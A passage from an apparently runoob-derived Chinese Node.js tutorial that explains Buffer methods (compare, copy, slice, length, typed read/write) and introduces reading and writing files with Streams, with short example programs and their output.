class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">var buffer1 = Buffer.from('ABC');</span><br><span class="line">var buffer2 = Buffer.from('ABCD');</span><br><span class="line">var result = buffer1.compare(buffer2);</span><br><span class="line"></span><br><span class="line">if(result < 0) {</span><br><span class="line"> console.log(buffer1 + " 在 " + buffer2 + "之前");</span><br><span class="line">}else if(result == 0){</span><br><span class="line"> console.log(buffer1 + " 与 " + buffer2 + "相同");</span><br><span class="line">}else {</span><br><span class="line"> console.log(buffer1 + " 在 " + buffer2 + "之后");</span><br><span class="line">}</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ABC在ABCD之前</span><br></pre></td></tr></table></figure></li></ul><h2 id="拷贝缓冲区"><a href="#拷贝缓冲区" class="headerlink" title="拷贝缓冲区"></a>拷贝缓冲区</h2><ul><li>语法<br>Node 缓冲区拷贝语法如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.copy(targetBuffer[, targetStart[, sourceStart[, sourceEnd]]])</span><br></pre></td></tr></table></figure></li><li>参数<br>参数描述如下:<ul><li>targetBuffer - 要拷贝的 Buffer 对象。</li><li>targetStart - 数字, 可选, 默认: 0</li><li>sourceStart - 数字, 可选, 默认: 0</li><li>sourceEnd - 数字, 可选, 默认: buffer.length</li></ul></li><li>返回值<br>没有返回值。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">var buf1 = Buffer.from('abcdefghijkl');</span><br><span class="line">var buf2 = Buffer.from('RUNOOB');</span><br><span class="line"></span><br><span class="line">//将 buf2 插入到 buf1 指定位置上</span><br><span class="line">buf2.copy(buf1, 2);</span><br><span class="line"></span><br><span class="line">console.log(buf1.toString());</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">abRUNOOBijkl</span><br></pre></td></tr></table></figure></li></ul><h2 id="缓冲区裁剪"><a href="#缓冲区裁剪" class="headerlink" title="缓冲区裁剪"></a>缓冲区裁剪</h2><ul><li>语法<br>Node 缓冲区裁剪语法如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.slice([start[, end]])</span><br></pre></td></tr></table></figure></li><li>参数<br>参数描述如下:<ul><li>start - 数字, 可选, 默认: 0</li><li>end - 数字, 可选, 默认: buffer.length</li></ul></li><li>返回值<br>返回一个新的缓冲区,<strong>它和旧缓冲区指向同一块内存</strong>,但是从索引 start 到 end 的位置剪切。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">var buffer1 = Buffer.from('runoob');</span><br><span class="line">// 剪切缓冲区</span><br><span class="line">var buffer2 = buffer1.slice(0,2);</span><br><span class="line">console.log("buffer2 content: " + buffer2.toString());</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buffer2 content: ru</span><br></pre></td></tr></table></figure></li></ul><h2 id="缓冲区长度"><a href="#缓冲区长度" class="headerlink" title="缓冲区长度"></a>缓冲区长度</h2><ul><li>语法<br>Node 缓冲区长度计算语法如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buf.length;</span><br></pre></td></tr></table></figure></li><li>返回值<br>返回 Buffer 对象所占据的内存长度。</li><li>实例<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var buffer = Buffer.from('www.runoob.com');</span><br><span class="line">// 缓冲区长度</span><br><span class="line">console.log("buffer length: " + buffer.length);</span><br></pre></td></tr></table></figure>执行以上代码,输出结果为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">buffer length: 14</span><br></pre></td></tr></table></figure></li></ul><h2 id="方法手册"><a href="#方法手册" class="headerlink" title="方法手册"></a>方法手册</h2><ul><li><h3 id="buf-length"><a href="#buf-length" class="headerlink" title="buf.length"></a>buf.length</h3>返回这个 buffer 的 bytes 数。注意这未必是 buffer 里面内容的大小。length 是 buffer 对象所分配的内存数,它不会随着这个 buffer 对象内容的改变而改变。</li><li><h3 id="buf-write-string-offset-length-encoding"><a href="#buf-write-string-offset-length-encoding" class="headerlink" title="buf.write(string[, offset[, length]][, encoding])"></a>buf.write(string[, offset[, length]][, encoding])</h3>根据参数 offset 偏移量和指定的 encoding 编码方式,将参数 string 数据写入buffer。 offset 偏移量默认值是 0, encoding 编码方式默认是 utf8。 length 长度是将要写入的字符串的 bytes 大小。 返回 number 类型,表示写入了多少 8 位字节流。如果 buffer 没有足够的空间来放整个 string,它将只会只写入部分字符串。 length 默认是 buffer.length - offset。 这个方法不会出现写入部分字符。</li><li><h3 id="buf-writeUIntLE-value-offset-byteLength-noAssert"><a href="#buf-writeUIntLE-value-offset-byteLength-noAssert" class="headerlink" title="buf.writeUIntLE(value, offset, byteLength[, noAssert])"></a>buf.writeUIntLE(value, offset, byteLength[, noAssert])</h3>将 value 写入到 buffer 里, 它由 offset 和 byteLength 决定,最高支持 48 位无符号整数,小端对齐,noAssert 值为 true 时,不再验证 value 和 offset 的有效性。 默认是 false。例如:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">const buf = Buffer.allocUnsafe(6);</span><br><span class="line"></span><br><span class="line">buf.writeUIntLE(0x1234567890ab, 0, 6);</span><br><span class="line"></span><br><span class="line">// 输出: <Buffer ab 90 78 56 34 12></span><br><span class="line">console.log(buf);</span><br></pre></td></tr></table></figure></li><li><h3 id="buf-writeUIntBE-value-offset-byteLength-noAssert"><a href="#buf-writeUIntBE-value-offset-byteLength-noAssert" class="headerlink" title="buf.writeUIntBE(value, offset, byteLength[, noAssert])"></a>buf.writeUIntBE(value, offset, byteLength[, noAssert])</h3>将 value 写入到 buffer 里, 它由 offset 和 byteLength 决定,最高支持 48 位无符号整数,大端对齐。noAssert 值为 true 时,不再验证 value 和 offset 的有效性。 默认是 false。<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">const buf = Buffer.allocUnsafe(6);</span><br><span class="line"></span><br><span class="line">buf.writeUIntBE(0x1234567890ab, 0, 6);</span><br><span class="line"></span><br><span class="line">// 输出: <Buffer 12 34 56 78 90 ab></span><br><span class="line">console.log(buf);</span><br></pre></td></tr></table></figure></li><li><h3 id="buf-writeIntLE-value-offset-byteLength-noAssert"><a href="#buf-writeIntLE-value-offset-byteLength-noAssert" class="headerlink" title="buf.writeIntLE(value, offset, byteLength[, noAssert])"></a>buf.writeIntLE(value, offset, byteLength[, noAssert])</h3>将value 写入到 buffer 里, 它由offset 和 byteLength 决定,最高支持48位有符号整数,小端对齐。noAssert 值为 true 时,不再验证 value 和 offset 的有效性。 默认是 false。</li><li><h3 id="buf-writeIntBE-value-offset-byteLength-noAssert"><a href="#buf-writeIntBE-value-offset-byteLength-noAssert" class="headerlink" title="buf.writeIntBE(value, offset, byteLength[, noAssert])"></a>buf.writeIntBE(value, offset, byteLength[, noAssert])</h3>将value 写入到 buffer 里, 它由offset 和 byteLength 决定,最高支持48位有符号整数,大端对齐。noAssert 值为 true 时,不再验证 value 和 offset 的有效性。 默认是 false。</li><li><h3 id="buf-readUIntLE-offset-byteLength-noAssert"><a href="#buf-readUIntLE-offset-byteLength-noAssert" class="headerlink" title="buf.readUIntLE(offset, byteLength[, noAssert])"></a>buf.readUIntLE(offset, byteLength[, noAssert])</h3>支持读取 48 位以下的无符号数字,小端对齐。noAssert 值为 true 时, offset 不再验证是否超过 buffer 的长度,默认为 false。</li><li><h3 id="buf-readUIntBE-offset-byteLength-noAssert"><a href="#buf-readUIntBE-offset-byteLength-noAssert" class="headerlink" title="buf.readUIntBE(offset, byteLength[, noAssert])"></a>buf.readUIntBE(offset, byteLength[, noAssert])</h3>支持读取 48 位以下的无符号数字,大端对齐。noAssert 值为 true 时, offset 不再验证是否超过 buffer 的长度,默认为 false。</li><li><h3 id="buf-readIntLE-offset-byteLength-noAssert"><a href="#buf-readIntLE-offset-byteLength-noAssert" class="headerlink" title="buf.readIntLE(offset, byteLength[, noAssert])"></a>buf.readIntLE(offset, byteLength[, noAssert])</h3>支持读取 48 位以下的有符号数字,小端对齐。noAssert 值为 true 时, offset 不再验证是否超过 buffer 的长度,默认为 false。</li><li><h3 id="buf-readIntBE-offset-byteLength-noAssert"><a href="#buf-readIntBE-offset-byteLength-noAssert" class="headerlink" title="buf.readIntBE(offset, byteLength[, noAssert])"></a>buf.readIntBE(offset, byteLength[, noAssert])</h3>支持读取 48 位以下的有符号数字,大端对齐。noAssert 值为 true 时, offset 不再验证是否超过 buffer 的长度,默认为 false。</li><li><h3 id="buf-toString-encoding-start-end"><a href="#buf-toString-encoding-start-end" class="headerlink" title="buf.toString([encoding[, start[, end]]])"></a>buf.toString([encoding[, start[, end]]])</h3>根据 encoding 参数(默认是 ‘utf8’)返回一个解码过的 string 类型。还会根据传入的参数 start (默认是 0) 和 end (默认是 buffer.length)作为取值范围。</li><li><h3 id="buf-toJSON"><a href="#buf-toJSON" class="headerlink" title="buf.toJSON()"></a>buf.toJSON()</h3>将 Buffer 实例转换为 JSON 对象。</li><li><h3 id="buf-index"><a href="#buf-index" class="headerlink" title="buf[index]"></a>buf[index]</h3>获取或设置指定的字节。返回值代表一个字节,所以返回值的合法范围是十六进制0x00到0xFF 或者十进制0至 255。</li><li><h3 id="buf-equals-otherBuffer"><a href="#buf-equals-otherBuffer" class="headerlink" title="buf.equals(otherBuffer)"></a>buf.equals(otherBuffer)</h3>比较两个缓冲区是否相等,如果是返回 true,否则返回 false。</li><li><h3 id="buf-compare-otherBuffer"><a href="#buf-compare-otherBuffer" class="headerlink" title="buf.compare(otherBuffer)"></a>buf.compare(otherBuffer)</h3>比较两个 Buffer 对象,返回一个数字,表示 buf 在 otherBuffer 之前,之后或相同。</li><li><h3 id="buf-copy-targetBuffer-targetStart-sourceStart-sourceEnd"><a href="#buf-copy-targetBuffer-targetStart-sourceStart-sourceEnd" class="headerlink" title="buf.copy(targetBuffer[, targetStart[, sourceStart[, sourceEnd]]])"></a>buf.copy(targetBuffer[, targetStart[, sourceStart[, sourceEnd]]])</h3>buffer 拷贝,源和目标可以相同。 targetStart 目标开始偏移和 sourceStart 源开始偏移默认都是 0。 sourceEnd 源结束位置偏移默认是源的长度 buffer.length 。</li><li><h3 id="buf-slice-start-end"><a href="#buf-slice-start-end" class="headerlink" title="buf.slice([start[, end]])"></a>buf.slice([start[, end]])</h3>剪切 Buffer 对象,根据 start(默认是 0 ) 和 end (默认是 buffer.length ) 偏移和裁剪了索引。 负的索引是从 buffer 尾部开始计算的。</li><li><h3 id="buf-readUInt8-offset-noAssert"><a href="#buf-readUInt8-offset-noAssert" class="headerlink" title="buf.readUInt8(offset[, noAssert])"></a>buf.readUInt8(offset[, noAssert])</h3>根据指定的偏移量,读取一个无符号 8 位整数。若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 如果这样 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readUInt16LE-offset-noAssert"><a href="#buf-readUInt16LE-offset-noAssert" class="headerlink" title="buf.readUInt16LE(offset[, noAssert])"></a>buf.readUInt16LE(offset[, noAssert])</h3>根据指定的偏移量,使用特殊的 endian 字节序格式读取一个无符号 16 位整数。若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出 buffer 的末尾。默认是 false。</li><li><h3 id="buf-readUInt16BE-offset-noAssert"><a href="#buf-readUInt16BE-offset-noAssert" class="headerlink" title="buf.readUInt16BE(offset[, noAssert])"></a>buf.readUInt16BE(offset[, noAssert])</h3>根据指定的偏移量,使用特殊的 endian 字节序格式读取一个无符号 16 位整数,大端对齐。若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出 buffer 的末尾。默认是 false。</li><li><h3 id="buf-readUInt32LE-offset-noAssert"><a href="#buf-readUInt32LE-offset-noAssert" class="headerlink" title="buf.readUInt32LE(offset[, noAssert])"></a>buf.readUInt32LE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个无符号 32 位整数,小端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readUInt32BE-offset-noAssert"><a href="#buf-readUInt32BE-offset-noAssert" class="headerlink" title="buf.readUInt32BE(offset[, noAssert])"></a>buf.readUInt32BE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个无符号 32 位整数,大端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readInt8-offset-noAssert"><a href="#buf-readInt8-offset-noAssert" class="headerlink" title="buf.readInt8(offset[, noAssert])"></a>buf.readInt8(offset[, noAssert])</h3>根据指定的偏移量,读取一个有符号 8 位整数。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出 buffer 的末尾。默认是 false。</li><li><h3 id="buf-readInt16LE-offset-noAssert"><a href="#buf-readInt16LE-offset-noAssert" class="headerlink" title="buf.readInt16LE(offset[, noAssert])"></a>buf.readInt16LE(offset[, noAssert])</h3>根据指定的偏移量,使用特殊的 endian 格式读取一个 有符号 16 位整数,小端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出 buffer 的末尾。默认是 false。</li><li><h3 id="buf-readInt16BE-offset-noAssert"><a href="#buf-readInt16BE-offset-noAssert" class="headerlink" title="buf.readInt16BE(offset[, noAssert])"></a>buf.readInt16BE(offset[, noAssert])</h3>根据指定的偏移量,使用特殊的 endian 格式读取一个 有符号 16 位整数,大端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出 buffer 的末尾。默认是 false。</li><li><h3 id="buf-readInt32LE-offset-noAssert"><a href="#buf-readInt32LE-offset-noAssert" class="headerlink" title="buf.readInt32LE(offset[, noAssert])"></a>buf.readInt32LE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个有符号 32 位整数,小端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readInt32BE-offset-noAssert"><a href="#buf-readInt32BE-offset-noAssert" class="headerlink" title="buf.readInt32BE(offset[, noAssert])"></a>buf.readInt32BE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个有符号 32 位整数,大端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readFloatLE-offset-noAssert"><a href="#buf-readFloatLE-offset-noAssert" class="headerlink" title="buf.readFloatLE(offset[, noAssert])"></a>buf.readFloatLE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个 32 位双浮点数,小端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer的末尾。默认是 false。</li><li><h3 id="buf-readFloatBE-offset-noAssert"><a href="#buf-readFloatBE-offset-noAssert" class="headerlink" title="buf.readFloatBE(offset[, noAssert])"></a>buf.readFloatBE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian 字节序格式读取一个 32 位双浮点数,大端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer的末尾。默认是 false。</li><li><h3 id="buf-readDoubleLE-offset-noAssert"><a href="#buf-readDoubleLE-offset-noAssert" class="headerlink" title="buf.readDoubleLE(offset[, noAssert])"></a>buf.readDoubleLE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian字节序格式读取一个 64 位双精度数,小端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-readDoubleBE-offset-noAssert"><a href="#buf-readDoubleBE-offset-noAssert" class="headerlink" title="buf.readDoubleBE(offset[, noAssert])"></a>buf.readDoubleBE(offset[, noAssert])</h3>根据指定的偏移量,使用指定的 endian字节序格式读取一个 64 位双精度数,大端对齐。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 offset 可能会超出buffer 的末尾。默认是 false。</li><li><h3 id="buf-writeUInt8-value-offset-noAssert"><a href="#buf-writeUInt8-value-offset-noAssert" class="headerlink" title="buf.writeUInt8(value, offset[, noAssert])"></a>buf.writeUInt8(value, offset[, noAssert])</h3>根据传入的 offset 偏移量将 value 写入 buffer。注意:value 必须是一个合法的无符号 8 位整数。 若参数 noAssert 为 true 将不会验证 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则不要使用。默认是 false。</li><li><h3 id="buf-writeUInt16LE-value-offset-noAssert"><a href="#buf-writeUInt16LE-value-offset-noAssert" class="headerlink" title="buf.writeUInt16LE(value, offset[, noAssert])"></a>buf.writeUInt16LE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的无符号 16 位整数,小端对齐。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出buffer的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeUInt16BE-value-offset-noAssert"><a href="#buf-writeUInt16BE-value-offset-noAssert" class="headerlink" title="buf.writeUInt16BE(value, offset[, noAssert])"></a>buf.writeUInt16BE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的无符号 16 位整数,大端对齐。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出buffer的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeUInt32LE-value-offset-noAssert"><a href="#buf-writeUInt32LE-value-offset-noAssert" class="headerlink" title="buf.writeUInt32LE(value, offset[, noAssert])"></a>buf.writeUInt32LE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式(LITTLE-ENDIAN:小字节序)将 value 写入buffer。注意:value 必须是一个合法的无符号 32 位整数,小端对齐。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着value 可能过大,或者offset可能会超出buffer的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeUInt32BE-value-offset-noAssert"><a href="#buf-writeUInt32BE-value-offset-noAssert" class="headerlink" title="buf.writeUInt32BE(value, offset[, noAssert])"></a>buf.writeUInt32BE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式(Big-Endian:大字节序)将 value 写入buffer。注意:value 必须是一个合法的有符号 32 位整数。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者offset可能会超出buffer的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeInt8-value-offset-noAssert"><a href="#buf-writeInt8-value-offset-noAssert" class="headerlink" title="buf.writeInt8(value, offset[, noAssert])"></a>buf.writeInt8(value, offset[, noAssert])</h3></li><li><h3 id="buf-writeInt16LE-value-offset-noAssert"><a href="#buf-writeInt16LE-value-offset-noAssert" class="headerlink" title="buf.writeInt16LE(value, offset[, noAssert])"></a>buf.writeInt16LE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的 signed 16 位整数。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false 。</li><li><h3 id="buf-writeInt16BE-value-offset-noAssert"><a href="#buf-writeInt16BE-value-offset-noAssert" class="headerlink" title="buf.writeInt16BE(value, offset[, noAssert])"></a>buf.writeInt16BE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的 signed 16 位整数。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false 。</li><li><h3 id="buf-writeInt32LE-value-offset-noAssert"><a href="#buf-writeInt32LE-value-offset-noAssert" class="headerlink" title="buf.writeInt32LE(value, offset[, noAssert])"></a>buf.writeInt32LE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的 signed 32 位整数。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeInt32BE-value-offset-noAssert"><a href="#buf-writeInt32BE-value-offset-noAssert" class="headerlink" title="buf.writeInt32BE(value, offset[, noAssert])"></a>buf.writeInt32BE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个合法的 signed 32 位整数。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeFloatLE-value-offset-noAssert"><a href="#buf-writeFloatLE-value-offset-noAssert" class="headerlink" title="buf.writeFloatLE(value, offset[, noAssert])"></a>buf.writeFloatLE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer 。注意:当 value 不是一个 32 位浮点数类型的值时,结果将是不确定的。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeFloatBE-value-offset-noAssert"><a href="#buf-writeFloatBE-value-offset-noAssert" class="headerlink" title="buf.writeFloatBE(value, offset[, noAssert])"></a>buf.writeFloatBE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer 。注意:当 value 不是一个 32 位浮点数类型的值时,结果将是不确定的。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value可能过大,或者 offset 可能会超出 buffer 的末尾从而造成 value 被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeDoubleLE-value-offset-noAssert"><a href="#buf-writeDoubleLE-value-offset-noAssert" class="headerlink" title="buf.writeDoubleLE(value, offset[, noAssert])"></a>buf.writeDoubleLE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个有效的 64 位double 类型的值。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成value被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-writeDoubleBE-value-offset-noAssert"><a href="#buf-writeDoubleBE-value-offset-noAssert" class="headerlink" title="buf.writeDoubleBE(value, offset[, noAssert])"></a>buf.writeDoubleBE(value, offset[, noAssert])</h3>根据传入的 offset 偏移量和指定的 endian 格式将 value 写入 buffer。注意:value 必须是一个有效的 64 位double 类型的值。 若参数 noAssert 为 true 将不会验证 value 和 offset 偏移量参数。 这意味着 value 可能过大,或者 offset 可能会超出 buffer 的末尾从而造成value被丢弃。 除非你对这个参数非常有把握,否则尽量不要使用。默认是 false。</li><li><h3 id="buf-fill-value-offset-end"><a href="#buf-fill-value-offset-end" class="headerlink" title="buf.fill(value[, offset][, end])"></a>buf.fill(value[, offset][, end])</h3>使用指定的 value 来填充这个 buffer。如果没有指定 offset (默认是 0) 并且 end (默认是 buffer.length) ,将会填充整个buffer。</li></ul><hr><h1 id="Node-js-Stream-流"><a href="#Node-js-Stream-流" class="headerlink" title="Node.js Stream(流)"></a>Node.js Stream(流)</h1><h2 id="概述-1"><a href="#概述-1" class="headerlink" title="概述"></a>概述</h2><p>Stream 是一个抽象接口,Node 中有很多对象实现了这个接口。例如,对http 服务器发起请求的request 对象就是一个 Stream,还有stdout(标准输出)。<br>Node.js,Stream 有四种流类型:</p><ul><li>Readable - 可读操作。</li><li>Writable - 可写操作。</li><li>Duplex - 可读可写操作.</li><li>Transform - 操作被写入数据,然后读出结果。</li></ul><p>所有的 Stream 对象都是 EventEmitter 的实例。常用的事件有:</p><ul><li>data - 当有数据可读时触发。</li><li>end - 没有更多的数据可读时触发。</li><li>error - 在接收和写入过程中发生错误时触发。</li><li>finish - 所有数据已被写入到底层系统时触发。<br>本教程会为大家介绍常用的流操作。</li></ul><h2 id="从流中读取数据"><a href="#从流中读取数据" class="headerlink" title="从流中读取数据"></a>从流中读取数据</h2><p>创建 input.txt 文件,内容如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><p>创建 main.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var data = '';</span><br><span class="line"></span><br><span class="line">// 创建可读流</span><br><span class="line">var readerStream = fs.createReadStream('input.txt');</span><br><span class="line"></span><br><span class="line">// 设置编码为 utf8。</span><br><span class="line">readerStream.setEncoding('UTF8');</span><br><span class="line"></span><br><span class="line">// 处理流事件 --> data, end, and error</span><br><span class="line">readerStream.on('data', function(chunk) {</span><br><span class="line"> data += chunk;</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">readerStream.on('end',function(){</span><br><span class="line"> console.log(data);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">readerStream.on('error', function(err){</span><br><span class="line"> console.log(err.stack);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕");</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">程序执行完毕</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure><h2 id="写入流"><a href="#写入流" class="headerlink" title="写入流"></a>写入流</h2><p>创建 main.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var data = '菜鸟教程官网地址:www.runoob.com';</span><br><span class="line"></span><br><span class="line">// 创建一个可以写入的流,写入到文件 output.txt 中</span><br><span class="line">var writerStream = fs.createWriteStream('output.txt');</span><br><span class="line">//如果要追加写入 可以用代码 var writeStream = fs.createWriteStream('out.txt', { 'flags': 'a' });</span><br><span class="line"></span><br><span class="line">// 使用 utf8 编码写入数据</span><br><span class="line">writerStream.write(data,'UTF8');</span><br><span class="line"></span><br><span class="line">// 标记文件末尾</span><br><span class="line">writerStream.end();</span><br><span class="line"></span><br><span class="line">// 处理流事件 --> data, end, and error</span><br><span 